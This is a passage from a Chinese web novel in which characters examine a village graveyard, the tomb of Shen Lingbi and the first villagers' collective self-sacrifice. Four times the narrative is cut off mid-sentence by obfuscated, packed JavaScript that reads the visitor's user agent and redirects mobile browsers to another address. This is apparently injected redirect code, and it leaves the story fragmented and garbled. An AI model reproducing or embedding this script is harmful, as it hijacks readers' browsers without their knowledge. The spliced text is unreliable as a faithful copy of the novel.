有归叹了口气:“所以愚人的历史的另一层含义是:历史在愚弄后人,愚弄我们。” 艾莉安点了点头,赞同她的说法,同时也道:“其实除了这些,学者们之所以质疑历史的真实性,还有一件无论如何解释都说不通的事实:根据历史记载,迷失时代和奇迹时代的人们平均寿命一直很高,在新历775年之前最高甚至达到了惊人的79岁——这一数据,现代化的云国直到1027年才达成。而在新历775年后,人类的平均寿命是在逐年下降的,最低的时候甚至只有30岁。学者们分析这是落后的医疗条件、恶劣的生存环境和频繁的战争饥荒以及极高的婴儿夭折率共同作用的结果。” “古代只会更落后更恶劣灾害更频繁的吧。”周嘉语说,这是所有对历史有一点了解的人的第一反应。 艾莉安说:“一般来说是这样没错,但很反直觉的是,研究古代史学家们却发现人们的生活一直都很不错,甚至比云国建国初期更好。” 在场几人都惊呆了,只觉得自己的认知被彻底颠覆了。 “从史料和民间的记载来看,归根到底只有一个原因:当时的人们身体都格外强健,孕妇死于难产的例子万中无一,婴儿的夭折率更低。人们也都能吃饱饭,遇到战争和饥荒当然也会饿肚子,但这种情况很快就可以缓解,从国库调粮、从邻近州市的粮仓里调粮,实在不行,还有自发组织救济的百姓商人。知道当时粮食的产量是多少吗?” 众人看了艾莉安一眼,都懒得猜,反正肯定是一个非常惊人的数字。 她说:“水稻亩产858公斤,顺道说明一下,现在未科院培育的稻米产量换算成那时的算法也只是亩产1278公斤,只是熟的更快,两个月就可以收获。”所以初期完全没有什么口感可言,后来软糯弹牙的稻米是不知迭代多少次后才推出的。 几人觉得头皮都要炸开了,艾莉安喃喃道:“学者们认为那时候一定有什么东西在影响人们,它持续强化着人们身体,增加粮食产量,维护社会稳定的同时,也让社会的发展变得极为缓慢。但这个东西,在新历775年忽然消失了......” 这信息量着实有点大,黎重和周氏兄妹都低头不语,显然在努力消化这些内容。有归手中的笔一下一下敲击着纸面,发出‘咚’‘咚’‘咚’的声音,“这东西就是类似于魔法能量、灵力之类的存在吧。” 艾莉安道,“比起所谓治国良策,其实这才是真正的泽被万民、惠及后世。” 有归正靠着石碑,闻言摇头道:“不一样的。人们指定的政策或许不完美,但只要人类存在一天,就可以不断完善,将之延续下去;而所谓灵力,虽然对人类有用,但这既不是人们创造的,也不是人们所能掌控的,得到失去都不由人。” “匹夫无罪,怀璧其罪。”有归说着说着又陷入到另一种思绪中去。 “你想到了什么?”黎重问道。 她抬头看了他一眼,打起精神来,说:“或许,那失落的504年就是为了遮掩这种东西的存在,篡改历史也是,但为什么要这样做?是怎么做到的?又是谁做的?我们一无所知。甚至连失落历史这件事都还只是猜测,并没有找到足够的证据支撑。” 懂了,接下来她们不仅要完成那破游戏的主线任务,还要注意搜集历史失落的证据。 周嘉语叹口气:“我有预感,这失落的五百年,会是一个非常非常大的坑,把我们几个埋里面都不一定能填上的那种。哎,你干嘛呢?”她话还没说完,就见有归往后退了一大步,有归没理她,往后退,一直退到石碑后面,祖坟地入口前,这才回头说:“远离乌鸦嘴。” 周嘉语双手叉腰,“嘿!” 黎重没忍住笑,看一眼周嘉语,略过她向有归走去。其余两人也笑,从她身边走过,往祖坟地的方向走去。 周嘉语呆了一下,“喂,你们等等我。” 有归含笑,回头向她挥手。 ****** “沈凌璧这选址够奇妙的,西面是山,东南也是山,说是祖坟地,被挤兑得就像只能在夹缝间生存的受气包似的。”说这话时有归正站在墓园中央,回头向来时路看去。 难怪她们刚才会走错路,从孟溪村到这里只有一条弯曲狭窄的山道,如果不是走熟了路,确实很容易跑偏。走完那条羊肠小道,翻上山坡,越往里走,视野就越开阔。不知道是不是规划这墓园的人有强迫症,当中一条青石道修得笔直,以此为中轴,左右整齐排列着村民们的坟墓。而中轴线的尽头,是一座矮峰,矮峰上是密密麻麻的坟,那应该就是沈三姑说的埋葬着第一代建村人的祖坟地了。 祖坟地的半山腰上矗立着一座还算气派的坟茔。 “那应该就是沈凌璧的墓了。”有归说。 那是一座通体用石头砌成的墓,圆形,其上堆土,前面竖碑。一百多年过去,坟上草木茂盛,似乎还有鸟儿在里面做窝。 “这真的是沈凌璧的墓吗?好歹是第一任村长,居然这么简陋。”众人围着这墓好奇地打量着,语气中不乏失望。这个时代曾经离她们无比遥远,远得只留下一些稀薄的影像,是烈士陵园里一排排整齐的犹如英魂在世的丰碑,是技术复原的古时帝王以山为陵的大气磅礴,落差确实有点大了。 有归略无语,如果连沈凌璧这样有墓室有碑文的都叫简陋,那这祖坟地里只在前面立块碑,后面一个土堆的坟难不成都是露宿荒野?明显就是电视剧看多了,把演义代入现实了。她给几人科普了一番古代墓葬的区别,周嘉语倒会现学现卖,“那这么说,沈凌璧这样的规制其实是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16564350|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 符合她的身份的?” “是。”有归点头,“沈三姑说沈凌璧是生入墓穴,那么她的身后事肯定都是她自己一手安排的,如果她身后真的有一位能够看到四千年后的修仙者,她一定会给我们留下讯息。” “那我看看沈凌璧这碑上都写了什么?”说着,周嘉语蹲在碑前,一字一句地念。她先念的是墓碑正中表明墓主人身份的那行字:“沈氏讳曦之墓。” 她念完自己都怔住了,“沈氏......讳......曦......”她扭头看向有归,“这不是沈凌璧的墓吗?怎么会写着沈三姑的名字?” 众人都围了过来,有归半蹲下身,抬手抚摸“沈”“曦”这两个字,“这就是沈凌璧的墓。” 众人都愣住了,有归道:“沈凌璧就是沈曦,沈曦就是沈凌璧。云国之前的人们除了正式的姓名,还有字,沈凌璧沈凌璧,凌璧生光,就是一个曦字。而人们在外行走,一般都称字,所以是沈凌璧。” “那沈三姑说她叫沈曦,其实并不是她真的就是沈凌璧,而是沈凌璧的人格寄宿在她的身体里。沈凌璧没有死,她还活着,就在孟溪村!”周嘉语话赶话地说完,才喘了口气。 “不对,沈凌璧已经死了。正因为死了,所以她才能借助沈三姑的身体长久的存在,不然她不必生入坟墓。”黎重忽然道。 “□□难以存续,而灵魂却可以永生不灭?”有归有些茫然,“沈三姑出现了好几个不同的人格,一个来自那个陷落的修真年代,一个对沈琏村长的妻儿之死十分了解,那个和沈琏村长相熟的人,还有沈凌璧,这哪里是人,简直就是一锅乱炖。可她们寄宿的那具身体也是肉体凡胎,为什么沈凌璧在里面就可以一直活到现在呢?” “不清楚。”周嘉语抬眼,问有归,“其实你早就怀疑沈凌璧就是沈曦了吧?” “是,凌璧凌璧,古人以玉比人,她偏偏要凌于玉上,多大的傲气啊。这样的人,她看不上被人玩赏的玉璧,要做天上的太阳不是很合理吗?” 众人听得瞠目结舌,有归一双明媚的大眼睛像是水洗过一样亮,她伸手扶住墓碑,笑道:“所以我不信她会乖乖躺在这墓里,任由自己和孟溪村一起腐烂。她这样的人,哪怕燃烧殆尽,哪怕无法触及,也要伸手去握住太阳。” 周嘉语退了一步,打量着有归,忽然笑道:“我觉得你的傲气不比沈凌璧少。” 有归眨巴了一下眼睛,“没有吧,院长爷爷一直都说我是世上最谦虚最懂礼貌的孩子。”她说的院长爷爷,就是噩梦乐园联合研究小组的组长,一个德高望重的老人家,后来担任人类幸存者联合基地科学院的院长。人类幸存者联合基地科学院后来改名为未来科学院。 周嘉语一噎,你没有傲气那你怎么会从一个名字就明白沈凌璧的骄傲,言谈间还十分欣赏的样子?周嘉文少见自己妹妹吃瘪,在一旁闷笑不已,艾莉安微笑看着她们,黎重看一眼有归,眼神越发柔和。有归疑惑地歪歪头,见没人给自己解答,便低头去看碑文。 墓碑上的字迹和祖坟山外那块石碑上的是一样的,同样的清丽秀逸、潇洒自如,落笔则剑气纵横,自由挥洒。 碑文打头的一句话是: “魔鬼的眼睛在注视着我们。” 41. 第 41 章 接着往下看,后面就是介绍沈凌璧的生平,与沈三姑所说基本吻合。众人看了一眼便算,注意力还是放在开头那句话。 “恶魔的眼睛在注视着我们。” 没头没尾的一句话,看得众人眉头都快打结了,你看看我我看看你,每个人的脑门上就差用笔画一个大大的问号了, 恶魔的眼睛是什么?祂为什么要看着孟溪村?祂现在还在观察着这里吗?我们在这里的一举一动,是不是都被祂看在眼里? 有归抬头望着天空,流云清风,淡蓝天幕,千百年来并无变化。她回头,俯视着平地上仿佛在接受检阅的一座座肃穆坟墓,阳光朗照,将墓园中阴冷的气氛驱散,但她心里仍不可遏制的生出巨大的恐惧来,以及随之而来的无法抑制的好奇,和跃跃欲试的兴奋。 千方百计送她到这里来的幕后黑手,那个乐子人似的神明,一个一眼看遍四千年的修仙者,一个“身似血雾、千眼百口”的邪神,现在又来了一个“恶魔的眼睛”——这孟溪村到底是什么地方,又牵扯了多大的秘密,才能摆出这样大的阵势。当初一个噩梦乐园搅得弥瑞可大陆天翻地覆,人类拼尽全力自救也不过落得一个苟延残喘的结局,而孟溪村这样一个小小的村落却能存在两百多年,祂、祂们在忌惮什么呢? 祂们又在觊觎什么? 有归回身注视着沈凌璧的墓,舍弃肉身而使灵魂不灭,她又是怎么做到的?还有那个修仙者,整个修真时代都成了某个秘密的陪葬品,为什么她却能够幸免?那失落的五百年里到底发生了什么? 有归眼睛亮的惊人,如果有熟悉她的人在这里,就知道她开始认真了,她来劲了,她要掘地三尺刨根问底了。 周嘉语拍了拍有归的肩膀,这小孩现在的表情就跟黄鼠狼见到鸡似的,整个人都显得容光焕发了。她扭头看她哥和艾莉安,苦思冥想绞尽脑汁,再看黎重一脸沉思,越发显得有归的“另类”。周嘉语回想这两天来的遭遇,不由失笑,有归确实是吃软不吃硬,这回沈凌璧来了这一手,彻底激起了她的好胜心,这是遇强则强,彻底卯上了。 “这里我们已经仔细看过了,没发现有什么特别的东西。”周嘉语绕着沈凌璧的墓转了一圈,除了坟前的碑文,再也没有找到只字片语。 “这墓室就是结结实实的石头,没有机关。”黎重用手按压过墓室外墙的每一寸,确定都是冷冰冰的石块。 周嘉文也说:“或许我们之前的猜测错了,沈凌璧其实并不知道我们的到来,她将木匣藏在风蚀洞是有别的目的。” 她们之前信心十足,自以为此次行动必定收获满满,沈凌璧会在碑文上给予她们提示,或许指向木匣钥匙藏匿的地点,或许是有关那个邪神的信息,也或许是提点她们如何对付那藏于地底之渊的邪神;谁也没想到沈凌璧居然什么也没有提不说,还给她们留了一个大谜题。 但由此断定沈凌璧的所作所为只是凑巧太武断了,有归想了想,摇头道:“沈凌璧既以高龄之身决然内迁,又有那样传奇的经历,她必定不是寻常的老人,她拥有的决心和胆魄恐怕世间少有。” 她看着眼前的四人,富贵安逸的生活过久了,就算是老虎也会因为缺少磨练而牙松爪钝,更何况她们几个从未经历磨难。恐怕不明白猛虎之所以是猛虎,在于生存的本能已经刻进了骨子里,就算是牙齿松动利爪变钝又怎样,照样可以从敌人身上撕下肉来。 而且,有归垂眸,沈凌璧身后还有那个修仙者。 这让她有非常强烈的既视感,仿佛是在看自己。 当然这并不是有归自夸为猛虎,她一直都挺有自知之明,她充其量只能算是被猛虎护在身后的幼虎,哪怕经历风雨,哪怕见过阳光,但有人兜底和身后空无一人只能自己抗终归是不一样的。她的生命比整个未来时代还要漫长,但大多数时候她都是被护在羽翼之下,那些人细心呵护了她的童年和少年时代,而后又用无比的毅力将她围了起来,让那些诋毁谩骂成为穿堂风,从耳边过,却从不留在心里。 所以她才是人,她才能好好地站在这里,纵使经历数千载春秋,无数生离死别,她依然站在这里,初心不改。 所以看沈凌璧和那修仙者,不免怅然心惊。怅然是因为修仙者长生,可以永远看着沈凌璧;心惊则是沈凌璧强行将自己的意识延续了两百年,那修仙者竟也同意,她们在图谋什么? “下山后我去见沈三姑,直接和她摊牌吧。”有归觉得没必要绕圈子,既然她们所图甚大,自己这边也有求于人,不如直接合作。 众人被有归的大胆吓了一跳,黎重伸手把这个危险的想法按下去:“不行!你见过沈凌璧吗?你真的了解她吗?你怎么就能断定她和你是一样的人?你对她所有的认识都是别人灌输给你的,如果这些不是特意表演给你看的呢?别忘了,沈凌璧身后有一个能看到四千年后的修仙者,她完全可以针对你的做出一整套的布置!” 黎重第一次对有归这样疾言厉色,别说当事人了,连周嘉语她们都看呆了。周嘉语见有归怔怔地站在当地,低着头,正准备出声安抚两句,有归已经抬起头,张了张嘴正要解释,黎重噼里啪啦又给她一顿说,中心思想:防人之心不可无。 好吧,有归抿紧唇,像是小孩子在做错了事一样,“你说的没错,是我欠考虑了。”她认错认的熟练。 周嘉语一笑,正要说话,哪知有归紧接着话音一转,“可是下山后,我还是要去见沈三姑。” 她语速飞快,“有些事情总要当面说清楚,只有她才能给我答案。”她想知道,明明她们可以阻止,为什么最终又选择了袖手旁观。 说到这里,有归停了下来,抬眼扫过四人的面容,想扯起嘴角笑一下,最后还是失败了:“昨晚我不是说过今天要数清楚这祖坟山到底有多少墓碑吗?现在就可以开始了,等有了结果,我会告诉你们为什么我一定要见沈凌璧。” 沈凌璧墓的位置极好,居高临下,正可以将这孟溪村沈氏墓园的全部景象都收入眼中。 有归冷冷地注视着这祖坟山远远近近的坟墓,今天她就是把每一寸草皮都翻过来,也要弄清楚三年前在孟溪村到底发生了什么。 数墓碑活动很快开始,她说要数墓碑,并不是真的只是清点这祖坟山有多少座墓,而是要清楚的知道每座墓主人的信息,姓甚名谁,生卒年,最好还有生平。不过最后这一点有归倒也不强求。 沈氏族人在此地繁衍了两百年,墓园规模颇大,一眼看过去,密密麻麻全是坟,怕是有上千座,众人先从核心的祖坟山清算起。根据沈三姑的说法,这里埋葬的都是第一代村民,也就是曾在倾云城生活过的沈氏族人,这些人都见识过天高地广,最终却被围困在这小小的孟溪村,到如今麻木的村人,这样的转变又是如何产生的?是骤然之间完成的还是被时间一点点雕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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有归不由抬头看了她一眼,心说这是不是有点过分代入自己了,你的关注点不应该是这沈星什么的到底做过什么亏心事,才非要把自己的名字抹去,不让后人知晓吗? 她眨了两下眼睛,指着碑上的字:“这恐怕不是区别待遇的事。你们注意到没有,这沈星实崔越夫妻还有沈从安的碑文,和沈凌璧的是一样的字体,我观察过了,这些字恐怕都是出自同一人之手;而那个沈星......星?”她自作主张把人名字给添上了,“为了方便称呼就这么叫吧。而这个沈星星的碑文字迹工整规矩,就像打印出来的。” “我猜,这祖坟地上的其他坟墓的碑文也和这沈星星的不一样,和沈凌璧的却相同。你们说,是沈凌璧为老不尊,领头排挤这沈星星,故意这样做的呢?还是他自认愧对祖宗,也无颜再见同族,所以特意抹去自己的名字?” 有归走向那几乎就快埋到坡下的墓,半蹲下身,看着石碑上的生卒年,“新历778年的,沈凌璧带领族人内迁的时候他才17岁呢,这一路上吃了不少苦吧。” 周嘉语听得怔住:“你怀疑这个沈星星背叛了沈凌璧?” “什么?”艾莉安震惊了,她猛地抬头看着有归,“证据呢,你总不能凭空污人清白吧?” 黎重叹口气,往这祖坟地一指,“证据不就在这里吗,等我们将这些坟墓都一一查看过,也就大概能推理出当年发生了什么事。” 42. 第 42 章 从祖坟地的规模来看,第一代建村人数量并不多,五人很快就清点出来。包括沈凌璧和那个沈星星,祖坟地共有135座坟墓,当得出这个数字的时候,所有人都忍不住倒吸了一口凉气。 【孟溪村现有135名村民,为了与村民和谐共处,请严格遵守孟溪村村民守则。】 这是规则纸条上的第二段话,当时她们就觉得有些奇怪,以她们所见孟溪村的规模,村民数量不应该这么少才对,现在看来这里的村民很有可能指的其实是第一代建村人。那就很有意思了。这意味着,在那个乐子神的眼里,第一代建村人,也就是从倾云铭县城内迁至此的沈氏族人才是孟溪村的村民,而后来繁衍的第二代,乃至现在的生活在孟溪村的人们并不是。他们不是村民,那又是什么呢?这样判断的依据又是什么? 这个乐子神知道什么?祂一直在注视着孟溪村吗? 想到这里,有归脑海里忽然冒出了一句话:“魔鬼的眼睛一直在注视着我们。”这是沈凌璧特意刻在自己碑上的那句话 她的表情变得古怪起来,犹豫半天,还是对众人道:“你们说,这个恶魔的眼睛会不会就是那个给我们规则纸条的神明?” 众人的表情也变得古怪,你看看我,我看看你,最后周嘉语说出了大家的心声:“可是孟溪村也没什么特别的东西能吸引祂看上两百年吧?” 说到点子上了,这恰好也是有归的疑问。几人胡乱猜测一番,都觉得不对,有归在本子上记了一笔,便把注意力放回到现在。 “你们看,这祖坟地一百三十五座墓,其中老幼共一十九人,十三个小孩,六个老人,老人里还包括沈凌璧;剩余一百一十六个都是青壮年,都结成了夫妻,并且合葬在一起。”有归用手指捏着笔上下来回转着,笔尖在本子上划出墨点线条。 艾莉安看着自己记下来的东西,脑袋里一通分析,还是不懂:“这能说明什么?” 有归多看了艾莉安两眼,这才说道:“说明这些人是自愿追随沈凌璧,这也能够解释为什么孟溪村的建筑格局会是这样。”孟溪村这点地方,想要做什么事都瞒不了人,当年沈凌璧都七十一岁高龄了,再老当益壮,也不能当个年轻人使,这孟溪村更不可能是她一个人建起来的。他们既然追随沈凌璧,自然知道沈凌璧精通风水奇术,或许在他们之中,就有为此出谋划策之人。 一百一十六个正值盛年的族人,如果不是他们自愿跟随沈凌璧来到这里,别人拿他们一点办法都没有。他们完全可以像那些在内迁途中定居别处的族人一样 “你是说,”艾莉安艰难理解着,“这些人是自愿赴死?” 见有归点头,艾莉安张了张嘴,想大声反驳什么,最终却低声道:“我不明白。”她眼中有水光闪过,“生命只有一次,为什么他们要轻言放弃?” “纠正一下你的说法,这是牺牲。牺牲都是经过深思熟虑的,他们不是轻易放弃生命,他们是自愿牺牲了自己。”艾莉安不懂,但有归见过,她见过很多。新历1307年,当宛湖人类幸存者基地出现污染物时,全基地最后的四百二十三人登上了高高的防护墙,最后看了一眼天空,与之同归于尽,无人逃生。有归是宛湖幸存者基地唯一的生还者。就在基地防护罩即将重新合拢时,一只手将她推下了23米高的基地防护墙。 在坠落的那一瞬间,有归错愕回头,但她什么也没看见,只看见淡黄色的防护罩将整个基地笼罩其中。她什么都没有听见,只听见自己重重地摔在地上,骨肉碎裂和脏器破裂的声音,从她身体里流出的滚烫鲜血和她的眼泪混合在一起,汩汩流淌。 基地内的影像忽然出现在她面前,防护罩张开的那一瞬间,自毁程序已经启动,正在倒计时。 五。 四。 三。 二。 一。 人们手拉着手坐在基地的高墙上,她看见每一个人的表情,很平静,前所未有的平静。他们都抬着头,仿佛还注视着美丽的天空,露出微笑,然后,一切归于寂静。 或许什么也没有,这些只是她临死前的幻想。 她躺在地上,努力回想那只手的主人,很模糊的一张脸,她甚至无法判断这人是男是女。这很正常,因为在此之前她们从未见过。这不是蓄意谋杀,那人只是下意识地以为高墙之外就是生路,也许是因为他认出了有归并不是基地的居民,也许是因为有归过分稚嫩的面容,也许是因为他看出有归并没有受到污染——每一个人都有选择生的权利,但我们也会在自认为丧失了这样的权利时,尽可能地、努力地让那些还有资格的人活下去,无论他是谁。 在那个人的眼中,有归就是应该活下去的人。 她,他,他们,她们,有归遇见的许许多多人,她看见这许许多多人用生命诠释何为“牺牲”。于有归而言,生命的消逝是烟花般短暂而绚烂,又如秋叶般静美而纯粹。 生命是如此之轻,宛湖基地五万八千四百四十三人条生命不过换来一篇仅四十九字的报道:9月17日,宛城人类幸存者基地遭遇不明污染物攻击,启动自毁程序,基地居民全部遇难,仅有一位外来者生还。 生命又是如此之重,宛湖基地以全体居民的生命为代价,让其他人类基地免受此污染物的侵扰。 我的牺牲,是为了让别人不必牺牲。 宛湖基地是如此,孟溪村第一代建村人也是如此。 “当然,也有认同你的观点,无比珍惜自己生命的人。喏,就是那个。”有归朝沈星星坟墓的方向一抬下巴,众人顺着她的视线看过去,听她说道,“这个沈星星可谓是贪生怕死,最终害人终害己的典范了。” 艾莉安和周嘉文脑门上的问号都快具象化了,“怎么说?” 有归没有当谜语人的爱好,也不喜欢兜圈子,于是直接说道:“根据我们刚才的统计,孟溪村第一代建村人总共135人,除了沈凌璧和那个沈星星,其余133人都有两个死亡年份。你们看,最开始有人死亡是在新历798年,也就是沈氏一族定居在这里的三年后,这一年一共是死了三个人,都是五十岁以上的人,按云国的标准来算已经是正式步入老龄阶段。也就是从这一年开始,一直到新历804年,孟溪村一直在死人,不到十年,人几乎死光了。” “还记得我们昨天的发现吗?孟溪村的风水是有问题的,这里是一个人为制造的藏污纳垢的聚阴地,再强壮的人住在这里,不住半年就会变得恶疾缠身身体虚弱。我之前就提到过,这祖坟地埋着的人都是自愿追随沈凌璧的,他们也是自愿赴死,为的是不成为那个邪神的傀儡,戕害无辜之人的工具!” 规划一个村庄很简单,但建造一个村子却需要全村人的努力。沈凌璧只要把她画的图纸拿出来,她的目的就藏不住了,那样刻意到极点的布局,但凡稍微懂一点常识的人都可以看出来。沈家在倾云城是大族,沈凌璧自己游学多年老了还回家办学堂,她的族人,她的后辈不可能连这点常识都没有。别的不说,只看那个沈星实,一句幼敏好学就说明她不是泛泛之辈,其他的人也都是正面的评价,都不是憨人,不会被卖了还帮着人数钱。 他们是自己把自己卖了。 然而最终却是功败垂成。 这样的结果让有归觉得难过,她一直都懂得并不是所有的牺牲都能换来好的结果,也亲眼见证人类在付出巨大的代价后依旧不能夺回家园,只能全部龟缩在高墙之内,不得已将目光投向宇宙,希望能够找到新的家园重新开始。时代洪流裹挟下的人们被命运无情地推着往前走,酿成了无数惨剧,她看见过,亲身经历 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而且将所有人的信息分类归纳后,不难发现,这祖坟地五十八座夫妻合葬墓,每对夫妻平均孕育了七个孩子。然而让人觉得奇怪的是,他们的墓碑上,虽然写明有几子几女,并没有记载这些子女的姓名。不,也有注明姓名的子女,但都属于第一代建村人,也就是随同众人从倾云城来到这里的孩子,坟墓也紧挨着父母。 更有趣的是,在这祖坟地安眠的十三个小孩中,最大的一个就是沈星星,新历795年他十七岁,最小的一个是沈星实崔越的女儿沈从安,当时她才十一岁。第一代建村人都葬在这祖坟地,也就是说自沈从安出生后的十一年间,夫妻俩都没有再生育,反而来到这孟溪村之后库库造人,还是在被邪神盯上、一心求死的情况下。 其余有孩子的夫妻就更不用说了,他们的孩子比沈从安更大,要生孩子早就生了,何必在孟溪村,在这种时候。而其他还没有孕育生命的夫妻,最年轻的一对才二十一岁,最大的一对也才二十五岁,从墓碑上的记载来看,他们年龄相仿,都是有理想有抱负的年轻人,因为情投意合才在一起的。 这样的经历,这样的见识,他们怎么可能如此草率地对待生命的降生? “你是说那四百多个孩子都是在人们死而复生后才出生的?” 黎重说的这些死而复生的人不包括沈星星的父母,沈星星的父母并没有跟随沈凌璧一起来到孟溪村。祖坟地上父母与子女的墓都是紧挨着的,而且都会注明双方的关系,但她们没有找到沈星星父母的坟墓,而根据年龄推断,这些人都不可能有一个十七岁的孩子。 沈星星是孟溪村第一代建村人中,唯一一个没有随同父母生活的未成年人。或许是因为平均寿命极长的缘故,奇迹时代的人们并不提倡早婚早育,相应的,成年的时间也比较晚,云上帝国和云国一样,都是十八岁。新历795年,沈星星还是一个标准的未成年人。 “你们忽略了一个细节,沈凌璧真的不知道这件事吗?别忘了,她身后可是有一个预见者。”黎重忽然道。 43. 第 43 章 太阳已经升得很高了,为了抓紧时间,众人并没有休息,匆忙喝了支营养液后,又继续干活了。 这次她们要统计这祖坟山所有墓主人的信息。 参考第一代建村人的情况,以二十五年为一代,理想状态下,第二代四百多人,第三代将会有将近三千人,到今天,孟溪村的规模将会是难以想象的程度。就算是数据砍半再砍半,那也是人满为患,但就如今孟溪村的房屋建筑和这祖坟山的坟墓数量来看,根本没有这么多人。 目测来看,这祖坟山撑死了也就埋了一千多人。 而她们实际统计过后,加上祖坟地,其实才一千七百九十三人,和预估的数据相差巨大。 黎重和周嘉语一时没转过弯来,艾莉安和周嘉文已经放弃了思考,时代不同情况也大不相同,本来就没有这种认知,她们怎么都想不明白。看着几人,有归倒是知道在她们之前来到孟溪村的人们为什么都失败了,“这是后奇迹时代,不是未来时代,生孩子是需要男女搭配的。而且以当时的条件,生下来能不能养活也是个问题,沈三姑那里的小余姑娘不就被烧坏了脑子吗?” 众人恍然大悟。 但黎重又有了一个新的疑问:“可是既然那个邪神能够提供给村民们充足的食物,为什么不供给他们药品呢?或者更彻底一点,直接帮他们免除病痛折磨。” 有归道:“因为祂做不到。” 在来到这个世界,知晓这小小的孟溪村竟是藏龙卧虎,她就产生了一个疑问:为什么孟溪村背后的那个存在不直接动手将她们这些不稳定因素清除,反而处处容忍,等待她们自己找死? 人类与神明是无法相比的,不管是邪神还是正神。有归一直都知道,她们现在所做的一切可能就是蜉蝣撼树,但就是这样强烈的力量对比之下,祂依旧没有选择动手。 换做是有归,她根本不会留下沈凌璧这个大破绽。正是因为沈凌璧的存在,才有了类似于安全区的村西小楼,也让曾经来过孟溪村的人们留下的提示顺利传到她们手中,她们的路才会走的这么顺利。 现在有归知道了这个问题的答案。 祂可以将沈氏族人强行留在这里,诅咒他们,困死他们,但祂无法阻止人们自我了断。简而言之,所谓神明,所谓邪神,并不是无所不能,力量强大并不代表祂们就可以为所欲为。 而且有归也解开了另外两个疑惑: 幕后黑手将她送到这里来,明显是针对孟溪村背后的邪神,为什么祂自己不动手,却要依靠几个弱小的人类?那个乐子神事事横插一脚,又是送规则纸条又是持续关注两百年,为什么不亲自入场?原来答案是这样。 非是不想,不愿,而是不能。 很多很多年以前,在她完全不知道自己的来历,一心只当自己是个人类的时候,了解到噩梦乐园这段历史后,就产生了一个深深的疑问:噩梦乐园明显是奔着彻底毁灭弥瑞可大陆来的,可是祂却选择了规则怪谈这种形式,给人类方留下了一条不算生路的生路。这种目的和方法的自相矛盾,得出的结果也不尽如人意,在噩梦乐园降临的五年时间里,人类用血与泪趟出了通往胜利的道路[1]。 后来有归与LUO、YIN三人一起推演过无数次,得出的结论是噩梦乐园完全可以直接摧毁弥瑞可大陆,祂落地时携带巨大的能量磁场,足以将弥瑞可大陆撕碎无数次。但祂却选择了这样迂回的方式。但凡头脑清醒一点,都看得出来,噩梦乐园的所作所为并不是像祂的那些狂热追随者宣称的那样是神降下的考验。这也成为困惑人们几千年的巨大谜题。 现在,有归明白了。 “无法直接动手,只能采用这种迂回的方式达成目的,”周嘉语一脸思索,“似乎是受到了某种约束?” 黎重想起了昨天中午发生的事,神情若有所思:“看上去像是封印之类的东西,使祂们行动受缚,无法随心所欲。” 艾莉安看向祖坟地的一角,那是周星星的长眠之地,张了张嘴,嗓音干涩:“也就是说,他做了和卢易斯一样的事情,才导致孟溪村变成现在这样?” 有归顺着她的目光看过去,“说不定我们会来到这里,也是托他的福。” 如果当年的历史轨迹按照沈凌璧的安排进行下去,孟溪村早已湮灭,再凶猛的野兽没了爪牙,它也只能搁这云雾山深处卧着,闲来无事自己翻个身逗乐。就有归所知,直到新历1279年,云国对云雾山的开发依旧停留在最外层,还是那句话,不是云国官方不想,而是做不到——除了闲得发慌的驴友,不会有人误伤,有归她们也就没有来到这里的必要。 不必询问寄居在沈三姑身体里的沈凌璧,只看那石碑上的文字和这墓园中各人碑上的信息,也大致能推断出当年发生了什么事。 当初随沈凌璧定居于此的一百三十五人中只有十三个孩子,六个老人,其余全是青壮年,这恐怕不是巧合。说是老人,其实除了沈凌璧基本都是五十出头的年纪,远远说不上年迈无力;最小的孩子也已经十一岁,按照云端帝国的说法,是一个小大人了,能够经得住餐风露宿旅途辛苦。 倾云沈氏是大族,连在云京都有族人,人口众多,哪怕沈凌璧只带走了她这一支系的人,哪怕有人故土难离,也绝对不会只有这一百多人。根据墓园外的石碑所述,那些老迈的族人,和带着年幼孩童的夫妻,恐怕都因为受不住旅途的辛苦而不得不在中途停下,就此定居,而沈凌璧则带着身强力壮的族人们继续前进。 沈星星下面最大的一个孩子是十五岁,就葬在他父母的旁边,名字就叫做沈从志。 有归和几人解释,云上帝国的人们取名,有的主打一个随心所欲,兄弟姐妹的名字各不相同,完全看不出什么联系,也没有规律可言,有的又严格按照字辈排下去,整齐的跟有强迫症似的。 沈凌璧这一支是后者。 十三个孩子里十二个都是从字辈,只有沈星星一个是星字辈的,年纪既小,辈分又高。和他同辈的兄姐们不是育有子女,就是已经成婚,且年龄相差颇大,都拿他当儿女辈看待,宠着让着;和他年龄差不多大的,他又是长辈,只有敬着的份。他自己孤身一人没有父母陪伴,想要做什么,恐怕没有几个人管得住他。 几重buff叠加下来,沈星星恐怕早就被宠坏了,想做什么就做什么,主打一个无法无天随心所欲。孟溪村是这样一个情况,那邪神他留下的极重的心理阴影,又无人顾得上给他开解,加上孟溪村后面几年一直在死人,重重压力之下,沈星星为了求生甘为邪神驱使并不奇怪。 有归完全可以共鸣沈星星的经历,但对他的选择永远无法理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 